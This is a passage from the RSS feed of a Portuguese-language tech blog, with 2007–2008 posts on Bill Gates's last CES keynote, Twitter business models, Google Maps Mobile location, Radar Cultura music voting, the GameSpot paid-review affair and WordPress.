<p>Os filtros humanos &#8211; seus amigos &#8211; ajudam cada vez mais encontrarmos o que é relevante na web. Como sempre, é a <a href="http://en.wikipedia.org/wiki/The_Wisdom_of_Crowds" title="sabedoria das multidões" id="r1v_">sabedoria das multidões</a> que resolve os problemas da web. Não vou mais assinar feed de sites, vou assinar os amigos.</p>
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		<title>A despedida de Bill Gates</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Mon, 07 Jan 2008 04:38:29 +0000</pubDate>
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					<description><![CDATA[<p>Acabei de assistir, ao vivo, via streaming, o último keynote do Bill Gates na CES. A transmissão durou cerca de uma hora e foi razoavelmente interessante. Como sempre &#8211; esse é o terceiro ano que assisto pela internet &#8211; o Gates aproveitou para mostrar algumas tecnologias da Microsoft. Desta vez não vi muitas novidades, pareceu [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/ces-2008.png" alt="CES 2008 " />Acabei de assistir, ao vivo, via streaming, o <a href="http://microsoft.com/ces" title="último keynote do Bill Gates na CES" id="h:we">último keynote do Bill Gates na CES</a>. A transmissão durou cerca de uma hora e foi razoavelmente interessante. Como sempre &#8211; esse é o terceiro ano que assisto pela internet &#8211; o Gates aproveitou para mostrar algumas tecnologias da Microsoft. Desta vez não vi muitas novidades, pareceu mais uma repetição do keynote do ano passado. Os movimentos da câmera também <a href="https://techbits.com.br/2007/cade-a-ces-2007/" title="repetiram o que foi feito no ano passado" id="ztrz">repetiram o que foi feito no ano passado</a> e deram um ar mais informal ao evento.</p>
<p>Uma das melhores partes do keynote foi o vídeo bem produzido de como deverá ser o último dia do Bill Gates na Microsoft (<a href="http://gizmodo.com/341472/this-video-makes-bill-gates-look-cooler-than-steve-jobs">assista aqui</a>). Alguns executivos importantes da empresa aparecem como o Steve Ballmer e suas piadas e também o Ray Ozzie, que assumirá o lugar do chefão da MS.</p>
<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/ces-2008-bill-gates.jpg" alt="Bill Gates no último keynote da CES" class="floatTL" /></p>
<p>Divertido, em seu último dia de trabalho na gigante de Redmond, Bill Gates passa o tempo todo ligando para amigos &#8211; leia-se <a href="http://en.wikipedia.org/wiki/George_Clooney" title="George Clooney" id="cksc">George Clooney</a>, <a href="http://en.wikipedia.org/wiki/Jon_stewart" title="Jon Stewart" id="qo:.">Jon Stewart</a>, <a href="http://en.wikipedia.org/wiki/Barack_obama" title="Barack Obama" id="aj.w">Barack Obama</a>, <a href="http://en.wikipedia.org/wiki/Hillary_clinton" title="Hillary Clinton" id="c0lb">Hillary Clinton</a>, <a href="http://en.wikipedia.org/wiki/Al_gore" title="Al Gore" id="zo:_">Al Gore</a>, <a href="http://en.wikipedia.org/wiki/Bono_Vox" title="Bono Vox" id="jbji">Bono Vox</a> e outros &#8211; para saber quem pode substituí-lo. Não entendi se era no cargo ou para algum filme sobre o Gates, a transmissão estava entre-cortada.</p>
<p>As risadas da platéia &#8211; algo difícil do tio Bill conseguir &#8211; vieram fácil desta vez. Gates brincou de Chewbacca, de rapper, Matrix e Guitar Hero (<a href="http://www.engadget.com/2008/01/06/bill-gates-live-at-his-12th-and-final-ces-keynote/" title="oto abaixo, via Engadget" id="kssz">foto abaixo, via Engadget</a>). Em depoimento no vídeo alguém disse que a idéia do famigerado <a href="http://en.wikipedia.org/wiki/Microsoft_bob" title="Microsoft Bob" id="fg46">Microsoft Bob</a> foi do Bill. Descobrimos também que o segundo homem mais rico do mundo reclama de ter que pagar 7 dólares para cortar o cabelo.</p>
<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/ces-2008-keynote-gates-guitar-hero.jpg" alt="Guitar Hero - Bill Gates " class="floatTL" /></p>
<p>A transição já está em andamento e tudo corre bem. Dentro de alguns meses o nerd mais bem sucedido do mundo retira-se das atividades da empresa que fundou e vira conselheiro. Também passa a dedicar seu tempo à fundação filantrópica Melinda-Gates, uma das mais endinheiradas e ativas do mundo.</p>
<p>É possível notar parte da estratégia da Microsoft. Desta vez falou-se pouco de Vista. Na verdade as grandes preocupações no momento são a Apple e o Google. Isso ficou patente nas demonstrações de produto. Mostraram produtos conectados de multimídia ao estilo Apple e softwares que rodam na internet, da <a href="http://live.com" title="unidade Live" id="odu0">unidade Live</a>, ao estilo Google como o calendário compartilhado. Isso é ótimo, mais concorrência, melhores produtos para nós, consumidores.</p>
<p>Para o mundo da tecnologia, agora é esperar. Bill Gates sai de cena em breve e a Microsoft tem em 2008 um ano derradeiro com desafios gigantes em um mundo em rápida transformação. Apesar das 100 milhões de cópias em uso, o Windows Vista não tem agradado e os concorrentes estão ganhando massa crítica. A Microsoft sobreviverá? Certamente, mas a fase de ouro já passou.</p>
<p><small>(*) <a href="http://www.engadget.com/2008/01/06/bill-gates-live-at-his-12th-and-final-ces-keynote/">fotos deste post via Engadget</a></small></p>
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		<title>Quem anunciaria no Twitter?</title>
		<link>https://techbits.com.br/2008/quem-anunciaria-no-twitter/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Fri, 04 Jan 2008 09:48:37 +0000</pubDate>
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		<category><![CDATA[negócios]]></category>
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					<description><![CDATA[<p>Bom, nos últimos dias vi alguns textos em blogs discutindo possíveis modelos de negócios para o Twitter. Como muitas startups, o Twitter surgiu, cresceu como uma febre e todos começaram a questionar como eles vão ganhar dinheiro. É um problema clássico, já enfrentado por gigantes como o YouTube. Duas propostas me chamaram a atenção, uma [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/twitter.png" alt="Twitter " />Bom, nos últimos dias vi alguns textos em blogs discutindo <a href="http://mashable.com/2008/01/02/twitter-whats-the-best-business-model/" title="possíveis modelos de negócios para o Twitter" id="n9_m">possíveis modelos de negócios para o Twitter</a>. Como muitas startups, o Twitter surgiu, cresceu como uma febre e todos começaram a questionar como eles vão ganhar dinheiro. É um problema clássico, já enfrentado por gigantes como o YouTube.</p>
<p>Duas propostas me chamaram a atenção, uma delas dizia que ninguém se incomodaria com um anúncio perdido <a href="http://www.calacanis.com/2008/01/02/the-three-business-models-that-make-twitter-a-billion-dollar-bus/" title="a cada 100 mensagens vistas na plataforma web" id="hx.6">a cada 100 mensagens vistas na plataforma web</a>. A discussão caía no problema de que a maioria dos usuários do Twitter acessa o serviço via API, através de IMs (Gtalk deve ser o mais usado) ou <a href="http://danielsantos.org/arquivos/2007/11/16/ponto-pro-twitterfox/" title="plugins do Firefox como o TwitterFox" id="f8gj">plugins do Firefox como o TwitterFox</a> . Sim, isso seria um problema, mas possivelmente o serviço atingiria uma massa crítica de anúncios para pelo menos ganhar uns trocados.</p>
<p>A outra solução seria <a href="http://twitter.com/Scobleizer/statuses/555769612" title="cobrar de usuários que quisessem um serviço Premium" id="ell6">cobrar de usuários que quisessem um serviço Premium</a>  enquanto a maior parte da base continuaria não pagando nada, aquele esquema conhecido como Freemium. Os usuários pagantes teriam serviços adicionais além de garantia de uptime altíssima, ou seja, serviço no ar 99,9999999 e lá vai noves porcento&#8230; Claro, quanto mais noves, mais caro é manter a infra, algo logarítimico, imagino&#8230;</p>
<p>Daí fiquei pensando em quem se interessaria por anunciar no Twitter. Um dos grandes interessados, a meu ver, seriam as operadoras e/ ou fabricantes de celular. Como assim? Já vi mais de uma pessoa interessada em comprar um celular (ou smartphone) capaz de acessar a internet só para twittar. Parece exagero?</p>
<p>O Twitter só faz esse sucesso pois oferece possibilidade de ser usado de forma móvel facilmente. Concorrentes como o Pownce <a href="http://2.0.bloguite.com/noticias/pownce-mobile-mais-vale-tarde-do-que-nunca-ou-tarde-piaste.html" title="só adotaram essa possibilidade recentemente" id="wwc6">só adotaram essa possibilidade recentemente</a> e aquele nacional, o <a href="http://www.gozub.com" title="Gozub" id="o9k-">Gozub</a>, não tem essa funcionalidade. Parte da graça de <a href="http://raquelcamargo.blogspot.com/2007/11/primeiro-meme-do-twitter.html" title="twittar é" id="vo52">twittar é</a> fazê-lo de qualquer lugar e não apenas do seu computador no trabalho ou em casa.</p>
<p>Na época de ouro do orkut aqui no Brasil vi casos similares de pessoas comprando um PC, endividando-se no limite, apenas para poder gerenciar o perfil no orkut de casa. Ou seja, a realidade de mais e mais pessoas entrarem no mundo da internet móvel só por causa do Twitter não é tão viajante assim. E levam de brinde várias outros serviços on-line.</p>
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		<title>2008 e os blogs</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 01 Jan 2008 02:01:09 +0000</pubDate>
				<category><![CDATA[blog]]></category>
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					<description><![CDATA[<p>Primeiro de tudo, Feliz 2008! Bom, o Techbits esteve em recesso nos últimos dias &#8211; férias coletivas, claro! &#8211; mas volta agora com esse primeiro post de 2008 e muitos outros que seguirão. Isso já é uma daquelas resoluções de Ano Novo, ou seja, muitos posts para refletir e criar ótimas discussões. O ano de [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/hanabi.jpg" alt="Hanabi - Fogos de artifício " />Primeiro de tudo, Feliz 2008! Bom, o Techbits esteve em recesso nos últimos dias &#8211; férias coletivas, claro! &#8211;  mas volta agora com esse primeiro post de 2008 e muitos outros que seguirão. Isso já é uma daquelas resoluções de Ano Novo, ou seja, muitos posts para refletir e criar ótimas discussões.</p>
<p>O ano de 2007 foi fantástico para os blogs, pelo menos na minha visão. Na verdade essa era uma dúvida que eu tinha pois o Techbits existe desde 2006 e não tinha certeza se 2007 foi um ótimo  ano para a blogosfera ou isso era apenas uma constatação particular relacionada a este site. Mas conversando com outros blogueiros experientes e de longa data, descobri que realmente 2007 foi ótimo para os blogs.</p>
<p>O ano que se inicia hoje provavelmente será melhor ainda. Blogs estabelecidos vão crescer. Blogs novos vão surgir. A massa de blogs continuará a aumentar. E isso é ótimo para todo o mercado, que deve amadurecer ainda mais, criar mais profissionais, aumentar o interesse das empresas nessa mídia que forma opinião.</p>
<p><a href="http://blog.esab.edu.br/2007/12/07/quais-sao-seus-planos-para-2008/" title="Meio que respondendo a uma tag sobre objetivos para 2008" id="dj88">Meio que respondendo a uma tag sobre objetivos para 2008</a>, diria que quero manter o crescimento do Techbits e dominar o mundo. Claro que essa parte de dominar o mundo é brincadeira, mas como sei que os blogs brasileiros têm um enorme potencial de crescimento neste ano, mais do que no ano que passou, enxergo o Techbits fazendo sua parte neste mercado.</p>
<p>E torço para que a forte blogosfera brasileira faça a sua parte, que os empreendedores brasileiros atinjam seus objetivos e que 2008 seja o ano dos blogs. De novo!</p>
<p><small>(*) foto deste post <a href="http://flickr.com/photos/idua_japan/219214228/in/photostream/">obtida no Flickr</a>, licença Creative Commons.</small></p>
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		<title>Testando o Google Maps com o Meu Local</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Sat, 22 Dec 2007 23:24:59 +0000</pubDate>
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					<description><![CDATA[<p>Já uso o Google Maps Mobile (google.com/gmm) no meu Treo há um bom tempo. Em São Paulo é bastante útil para achar aquela ruazinha perdida no meio das avenidas conhecidas. Fora de São Paulo, já me foi extremamente útil para encontrar o hotel ou o lugar que precisava ir. O problema sempre foi saber onde [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/gmm.png" alt="Google Maps Mobile logo" />Já uso o Google Maps Mobile (<a href="http://google.com/gmm" title="google.com/gmm" id="pif6">google.com/gmm</a>) no meu Treo há um bom tempo. Em São Paulo é bastante útil para achar aquela ruazinha perdida no meio das avenidas conhecidas. Fora de São Paulo, já me foi extremamente útil para encontrar o hotel ou o lugar que precisava ir. O problema sempre foi saber onde você está inicialmente, para procurar nas redondezas. Claro, um GPS ajudaria, mas o equipamento ainda é caro e eu não tenho.</p>
<p><a href="http://googlediscovery.com/2007/11/28/google-maps-mobile-mostra-sua-localizacao-sem-utilizar-gps/" title="Faz cerca de um mês que o Google atualizou o software para a versão 2" id="y:ux">Faz cerca de um mês que o Google atualizou o software para a versão 2</a>, com a funcionalidade de localização baseada em antenas de celular (ERBs), chamada de Meu Local. É como mágica. O aparelho detecta as ERBs próximas, no mínimo três, e calcula a sua posição aproximada. <a href="http://www.odontopalm.com.br/gsf/arquivo/2007/12/testdrive_do_my.html" title="Imaginei que isso não seria tão preciso" id="jpvw">Imaginei que isso não seria tão preciso</a>, mas por incrível que pareça, é. Na verdade o Google ainda não atualizou o software para o Treo, mas como recebi emprestado um E61i, por estar escrevendo no <a href="http://www.nokiaintellisync.com.br/" title="blog Nokia Intellisync" id="rx_.">blog Nokia Intellisync</a>, consegui testar.</p>
<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/gmm-farialima.jpg" alt="Google Maps Mobile em SP" class="floatTL" /></p>
<p>Funciona razoavelmente bem em São Paulo, na maioria das vezes você está bem próximo do local que o Google Maps aponta no mapa. A <a href="http://diadefolga.com/" title="Lu Monte" id="jdzx">Lu Monte</a>, de Brasília, disse que lá o sistema não funciona. Tanto em Brasília quanto em São Paulo, testamos na rede da TIM. Então descarta-se a não compatibilidade com a operadora. Aqui em SP também testei com a Claro. O que imagino que seja é que o Google ainda não &#8220;cadastrou&#8221; a posição geográfica das antenas de lá. Não faço a idéia da situação em outras capitais/ cidades &#8211; <a href="http://nokiabr.blogspot.com/2007/11/google-maps-mobile-20.html" title="no Rio, funciona" id="uh9k">no Rio, funciona</a>.</p>
<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/gmm-paulista.jpg" alt="Google Maps Mobile em SP " class="floatTL" /></p>
<h3>Privacidade</h3>
<p>Para os paranóicos de plantão &#8211; incluindo eu &#8211; sempre surge a questão da privacidade. <a href="http://mesquita.blog.br/artigo-informacao-google-e-o-olho-do-grande-irmao" title="O Google já sabe o que eu leio, o que eu pesquiso, por onde clico" id="fgf2">O Google já sabe o que eu leio, o que eu pesquiso, por onde clico</a>. Será que agora também vão registrar onde estou? Por via das dúvidas prefiro só ativar esse serviço em caso de necessidade verdadeira, ou para testes, como fiz aqui na última semana em andanças por SP. De qualquer forma, quem não tem GPS, caça com <a href="http://en.wikipedia.org/wiki/Location-based_service" title="LBS" id="hduy">LBS</a>. Quem não tem nenhum dos dois e nem o Google Maps Mobile, fica perdido!</p>
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		<title>Radar Cultura e o Twitter</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 18 Dec 2007 21:12:42 +0000</pubDate>
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					<description><![CDATA[<p>Ontem a noite vários blogueiros foram convidados pela rádio Cultura AM para o lançamento de um novo serviço chamado Radar Cultura. Lembra que antigamente nós ligávamos para a rádio pedindo uma música na tentativa de fazer tocá-la no dial? Pois é, com o Radar Cultura isso foi transferido para a internet, sob a forma de [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/radar-cultura.png" alt="Radar Cultura " />Ontem a noite vários blogueiros foram convidados pela rádio Cultura AM para o lançamento de um novo serviço chamado <a href="http://www.radarcultura.com.br/" title="Radar Cultura" id="e4ox">Radar Cultura</a>. Lembra que antigamente nós ligávamos para a rádio pedindo uma música na tentativa de fazer tocá-la no dial? Pois é, com o Radar Cultura isso foi transferido para a internet, sob a forma de um serviço tipo Digg no qual votamos nossas preferências musicais &#8211; só música brasileira.</p>
<p>Quem esteve nos acompanhando via Twitter, percebeu que a interação é em tempo real e que <a href="http://queridoleitor.zip.net/arch2007-12-16_2007-12-22.html#2007_12-17_20_00_43-2561397-0" title="alguns flashmobs foram possíveis" id="npck">alguns flashmobs foram possíveis</a> para emplacar esta ou aquela música. A música do Tom Zé, Sem a Letra A, foi postada como preferida pela blogueira Lúcia Freitas &#8211; presente no evento &#8211; e divulgada no Twitter. <a href="http://queridoleitor.zip.net/arch2007-12-16_2007-12-22.html#2007_12-17_20_17_06-2561397-0" title="Em 12 minutos recebeu 27 votos e foi ao ar na rádio Cultura, lá pelas 20h15" id="d99j">Em 12 minutos recebeu 27 votos e foi ao ar na rádio Cultura, lá pelas 20h15</a>. Parecia que estávamos no antigo Você Decide, mas com possibilidade de interação em tempo real com outros usuários via Twitter.</p>
<p>Pessoas por todo o Brasil, como o <a href="http://tecnocracia.com.br/" title="Manoel Netto" id="t.8f">Manoel Netto</a> diretamente de Londrina, a <a href="http://diadefolga.com/" title="Lu Monte" id="cbt9">Lu Monte</a>, de Brasília, e o <a href="http://www.colmeia.tv/blog/" title="Wagner Tamanaha" id="fe72">Wagner Tamanaha</a>, de São Paulo, participaram votando ou sugerindo músicas. O programa acabou ao redor das 23h e muitas músicas, todas escolhidas pelos internautas, foram ao ar.</p>
<h3>Jogando com o sistema</h3>
<p>O Radar Cultura ainda está no começo, achei bem interessante, e ao abrir a possibilidade de votação pela internet, permite que um maior número de usuários tenha poder de decisão. A minha preocupação surge do fato de aparentemente ainda não existir um sistema anti-fraude das votações. Claro que ontem ninguém fraudou o sistema para que a música X ou Y fosse ao ar. Mas tendo em vista que é possível combinar com um monte de gente para votarem todo mundo em uma seqüência combinada de músicas, fica claro que podemos jogar com o sistema.</p>
<p>A maioria das músicas emplacadas no programa de estréia contou com votos invariavelmente das mesmas pessoas. O Digg, sistema um pouco mais refinado na mensuração da <a href="http://en.wikipedia.org/wiki/The_Wisdom_of_Crowds" title="sabedoria das multidões" id="x791">sabedoria das multidões</a>, acaba dando peso menor para votos em massa vindos sempre de um mesmo pequeno grupo de pessoas. Com o crescimento do número de usuários na base do serviço, o problema fica minimizado. Mas, claro, a iniciativa é bem vinda!</p>
<h4>Leia mais:</h4>
<ul>
<li><a href="http://www.sovacodecobra.com.br/2007/12/radar-cultura-e-o-desafio-do-conteudo-colaborativo-na-internet/">Radar Cultura e o desafio do conteúdo colaborativo na internet</a>, via Sovaco de Cobra</li>
<li><a href="http://www.tiagodoria.ig.com.br/2007/12/17/lancamento-radar-cultura-2/">Lançamento Radar Cultura</a>, via Tiago Dória</li>
<li><a href="http://www.alfarrabio.org/index.php?itemid=2690">Radar Cultura</a>, via Alfarrábio</li>
<li><a href="http://www.sedentario.org/musicas/radar-cultura-3401/">#Radar Cultura</a>, via Sedentário e Hiperativo</li>
</ul>
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		<item>
		<title>O case GameSpot e os blogs</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Fri, 14 Dec 2007 13:42:22 +0000</pubDate>
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					<description><![CDATA[<p>Eu sei, faz uma semana que não escrevo nada aqui no Techbits. Para compensar essa ausência, lá vai um post polêmico. Um assunto que tem me chamado a atenção no último mês é o caso GameSpot. Para quem não sabe, um editor do blog mantido pela CNet foi demitido após publicar um review desfavorável a [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/gamespot.png" alt="GameSpot " />Eu sei, faz uma semana que não escrevo nada aqui no Techbits. Para compensar essa ausência, lá vai um post polêmico. Um assunto que tem me chamado a atenção no último mês é o caso GameSpot. Para quem não sabe, <a href="http://valleywag.com/tech/jeff-gerstmann/gamespot-editor--on-fired-reviewer-328775.php" title="um editor do blog mantido pela CNet foi demitido após publicar um review desfavorável a um jogo" id="sm1h">um editor do blog mantido pela CNet foi demitido após publicar um review desfavorável a um jogo</a>,  exatamente o mesmo que patrocinava a maioria dos espaços publicitários do blog. A blogosfera americana caiu em cima, criticando pesadamente a CNet e o GameSpot de se influenciar por um patrocinador.</p>
<p>Caso semelhante ocorreu recentemente com a PC World, <a href="http://www.news.com/2100-1030_3-6181075.html" title="que teve o texto de um de seus colaboradores bloqueado para publicação pois criticava a Apple" id="gdwo">que teve o texto de um de seus colaboradores bloqueado para publicação pois criticava a Apple</a>, um dos anunciantes da revista. Novamente naquela época a internet veio abaixo contra a atitude não ética da revista.</p>
<p>Bom, um dos assuntos discutidos à exaustão na blogosfera brasileira é se o review pago deve ou não ser feito. A minha postura é que o Techbits jamais vai fazer algo do tipo. Na verdade já recebi várias propostas de review pago e todas elas foram negadas, educadamente. O grande motivo para isso se chama credibilidade.</p>
<p>Ok, eu sei que a maioria dos blogs é lido em sua maior parte por blogueiros e estes sabem por antemão que aquele texto, mesmo que seja um review patrocinado, não terá qualquer viés influenciado pelo dinheiro. Mas e os outros leitores, aqueles que não são blogueiros, <a href="http://meta.blog.br/por-que-nao-faco-reviews-pagos/" title="o que será que acham disso?" id="u1.x">o que será que acham disso?</a> Bom, o senso comum leva a crer que um texto pago em qualquer publicação é algo ruim. Mas nos blogs não?</p>
<p>Aí vão aparecer alguns dizendo que o Techbits não gosta de dinheiro, que sou comunista, essas coisas&#8230; Não, definitivamente não. Quem me conhece sabe que sou a favor do liberalismo econômico, político e tudo neste sentido. Que o governo fique longe da iniciativa privada, bem longe. Além disso, não querendo ser arrogante, mas apenas fazendo uma constatação óbvia, o Techbits fatura muito mais do que a maioria dos blogs que defendem o post pago, simples assim. Aqui ganha-se dinheiro com credibilidade e não com os <em>dé reau</em> (sic) de um post patrocinado.</p>
<p>Com certeza acabo de perder uma boa parcela de leitores, todos aqueles atingidos por este post. Ok, não culpo vocês, tento acreditar que a maioria que faz posts patrocinados realmente não se deixa influenciar pelo dinheiro, mas certamente uma parte cairá na tentação, aí que mora o perigo, e isso é ruim para todo o mercado.</p>
<p>É um problema complicado. Por via das dúvidas aqui não entra post patrocinado. E se a blogosfera quer ganhar credibilidade, que não faça reviews pagos. Ganhe credibilidade para receber produtos para review e poder escolher aqueles que você quer publicar. Não existe essa história de que não será influenciada pelo dinheiro do anunciante. E se você acha que o case GameSpot nada tem a ver com isso, no fundo é tudo a mesma coisa. Bom, coloquei a cara à tapa, que venham os comentários&#8230;</p>
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		<item>
		<title>Cinema, aspirinas e distribuição</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Fri, 07 Dec 2007 20:10:06 +0000</pubDate>
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					<description><![CDATA[<p>Hoje, sexta-feira, 7 de Dezembro é um dia interessante no que tange à distribuição de conteúdo. Da mesma forma que fez o diretor Steven Soderbergh, em 2005, com seu filme Bubble, um filme nacional chamado 3 Efes estréia ao mesmo tempo em várias mídias. Ao invés de restringir a escolha do espectador à tela do [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/3efes.png" alt="3 Efes - distribuição moderna! " />Hoje, sexta-feira, 7 de Dezembro é um dia interessante no que tange à distribuição de conteúdo. <a href="http://www.digestivocultural.com/colunistas/coluna.asp?codigo=1986" title="Da mesma forma que fez o diretor Steven Soderbergh em 2005 com seu filme Bubble" id="cp:z">Da mesma forma que fez o diretor Steven Soderbergh</a>, em 2005, com seu filme Bubble, um filme nacional chamado <a href="http://www.3efes.com.br/" title="3 Efes" id="tj1k">3 Efes</a> estréia ao mesmo tempo em <a href="http://br.reuters.com/article/entertainmentNews/idBRN0620006120071206" title="3 Efes estréia ao mesmo tempo em várias mídias" id="n38s">várias mídias</a>. Ao invés de restringir a escolha do espectador à tela do cinema, o filme do diretor Gerbase pode ser visto em outros lugares também: na TV (<a href="http://globosat.globo.com/canalbrasil/" title="Canal Brasil" id="y7_0">Canal Brasil</a>), em DVD e <a href="http://cinema.terra.com.br/interna/0,,OI2133226-EI1176,00.html" title="pela internet, via Terra" id="wcy1">pela internet, via Terra</a>.</p>
<p>Já discuti aqui no Techbits que a grande mudança que a internet trouxe para todas as mídias foi a facilidade de distribuição. Hoje não queremos mais esperar para assistir ao último episódio do seriado Heroes quando a AXN ou a Record resolverem passar por aqui. Não queremos aguardar vários meses, de acordo com a estratégia comercial da distribuidora, para termos um filme em DVD. <a href="https://techbits.com.br/2007/drm-escassez-vs-abundancia/">Não queremos escassez e sim abundância</a>.</p>
<p>O que o filme Bubble fez foi uma experiência neste sentido agora repetido pelo 3 Efes. Não sei se o filme é bom (isso aqui não é um <a href="http://www.cinemalido.com.br">blog de cinema</a>!), as críticas falam bem, pretendo assistir assim que possível. Mas que a estratégia de distribuição diferente está chamando a atenção, não há dúvidas.</p>
<p>Claro que provavelmente estão fazendo assim pois o público que atingiriam na meia dúzia de salas de cinema do país que vão passar o filme, não pagaria a produção. Mas em termos de soltar as amarras da velha forma de distribuir conteúdo, o filme 3 Efes já ganhou um fã. Fora que vem da <a href="http://www.casacinepoa.com.br/" title="Casa de Cinema de Porto Alegre" id="r-n6">Casa de Cinema de Porto Alegre</a>, deve ser coisa boa!</p>
<h4>Leia também:</h4>
<ul>
<li><a href="https://techbits.com.br/2007/cinema-aspirinas-e-crowdsourcing/">Cinema, aspirinas e crowdsourcing</a></li>
<li><a href="https://techbits.com.br/2006/o-lost-e-o-novo-paradigma-da-distribuicao-de-conteudo/">O LOST e o novo paradigma da distribuição de conteúdo</a></li>
</ul>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2007/cinema-aspirinas-e-distribuicao/">Cinema, aspirinas e distribuição</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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			</item>
		<item>
		<title>WordPress, A plataforma de publicação</title>
		<link>https://techbits.com.br/2007/wordpress-a-plataforma-de-publicacao/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 06 Dec 2007 14:13:21 +0000</pubDate>
				<category><![CDATA[blog]]></category>
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					<description><![CDATA[<p>Acabei de ler no IDG Now! que o WordPress tem crescido bastante no Brasil e pode começar a ameaçar a ferramenta dominante, o ruim Blogspot/ Blogger, da Google. Essa é uma ótima notícia e melhora ainda mais quando descobrimos como foi feita a medição. Os dados são do IBOPE/ NetRatings e levam em conta o [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/wordpress.png" alt="Wordpress " />Acabei de ler no IDG Now! que o <a href="http://idgnow.uol.com.br/10anos/2007/12/06/idgnoticia.2007-12-05.3052782139/" title="Wordpress tem crescido bastante no Brasil" id="s:3g">WordPress tem crescido bastante no Brasil</a> e pode começar a ameaçar a ferramenta dominante, o ruim <a href="http://blogger.com" title="Blogspot/ Blogger" id="f6oy">Blogspot/ Blogger</a>, da Google. Essa é uma ótima notícia e melhora ainda mais quando descobrimos como foi feita a medição. Os dados são do IBOPE/ NetRatings e levam em conta o domínio visitado, ou seja, o <a href="http://wordpress.com" title="Wordpress.com" id="f6ck">WordPress.com</a>. Conclusão, todos os blogs hospedados em servidor próprio e que usam o WordPress como ferramenta de CMS não estão contabilizados nesta estatística. E tenho certeza que estes, se adicionados, aumentariam significativamente o marketshare do WordPress.</p>
<h3>CMS flexível</h3>
<p>O <a href="http://wordpress.org" title="Wordpress" id="xg45">WordPress</a> é com certeza um dos CMS (<a href="http://en.wikipedia.org/wiki/Content_management_system" title="Content Management System" id="kwh.">Content Management System</a>) dos mais flexíveis. Basicamente serve para criar um blog, mas quem tiver criatividade consegue transformar o WordPress em base para qualquer tipo de site. Uma loja virtual? WordPress! Um portfólio? WordPress! Um site de notícias? WordPress! Um &#8220;qualquer coisa&#8221;&#8230; WordPress, nem precisa esperar a resposta. Para se ter uma idéia, o ótimo <a href="http://webinsider.uol.com.br/" title="Web Insider" id="gltg">Web Insider</a>, roda em WordPress. O gigante blog <a href="http://techcrunch.com" title="Techcrunch" id="nnrv">Techcrunch</a> também. É a ferramenta de escolha mais usada atualmente.</p>
<p>Se você está pensando em criar um blog ou um site de outro tipo, não hesite em perguntar para o desenvolvedor se tudo aquilo não poderia rodar em WordPress. Você terá uma ferramenta poderosa e flexível ao seu dispor, com facilidade de atualização das informações e além disso, suporte de uma rede de desenvolvedores que criam plugins para tudo que é funcionalidade e também contribuem para a segurança e melhora da plataforma em velocidades incríveis.</p>
<p>Só para vocês terem uma ídeia, outro dia expliquei para um colega <a href="http://www.interney.net/blogfaq.php?p=6490966" title="que diabos é um blog" id="fies">que diabos é um blog</a>, ele ficou impressionado e criou o seu, um tal de <a href="http://tocomfome.wordpress.com/" title="Tô com fome" id="t0ml">Tô com fome</a>, que pretende concorrer com o <a href="http://vale9conto.com.br/">Vale 9 Conto</a>. WordPress, claro!</p>
<h3>Outros CMS</h3>
<p>Bom, fora o WordPress existem outras ferramentas de CMS gratuitas, baseadas em software livre. Uma delas é o <a href="http://drupal.org" title="Drupal" id="o-cb">Drupal</a>, usada também por grandes blogs como o <a href="http://br-linux.org" title="BR-Linux" id="oq_x">BR-Linux</a> ou o <a href="http://meiobit.com" title="Meio Bit" id="q0pl">Meio Bit</a>. É uma ferramenta bastante poderosa mas ao mesmo tempo mais complicada. Recomendo para usuários avançados.</p>
<p>Também temos o <a href="http://www.movabletype.org/" title="Movable Type" id="l6wg">Movable Type</a>, outro mecanismo usado por blogs como o <a href="http://www.digitaldrops.com.br/drops/" title="Digital Drops" id="h2m:">Digital Drops</a>. Não tenho o que dizer pois na verdade nunca usei, mas creio que seja boa também. Alguns preferem o <a href="http://b2evolution.net/" title="B2 Evolution" id="cg0x">B2 Evolution</a>, como o <a href="http://sergioflima.pro.br/blog/blogs/index.php/sergio_blog" title="Sérgio Lima 2.4" id="o:5.">Sérgio Lima 2.4</a> e a rede <a href="http://interney.net">Interney Blogs</a>. Se não me engano é parecido com o WordPress, mas tem suas características próprias que angaria fãs. Quanto a outras ferramentas, quem quiser discorrer sobre elas, fique a vontade nos comentários.</p>
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		<title>O Facebook e a privacidade</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Wed, 05 Dec 2007 21:19:59 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[beacon]]></category>
		<category><![CDATA[crm]]></category>
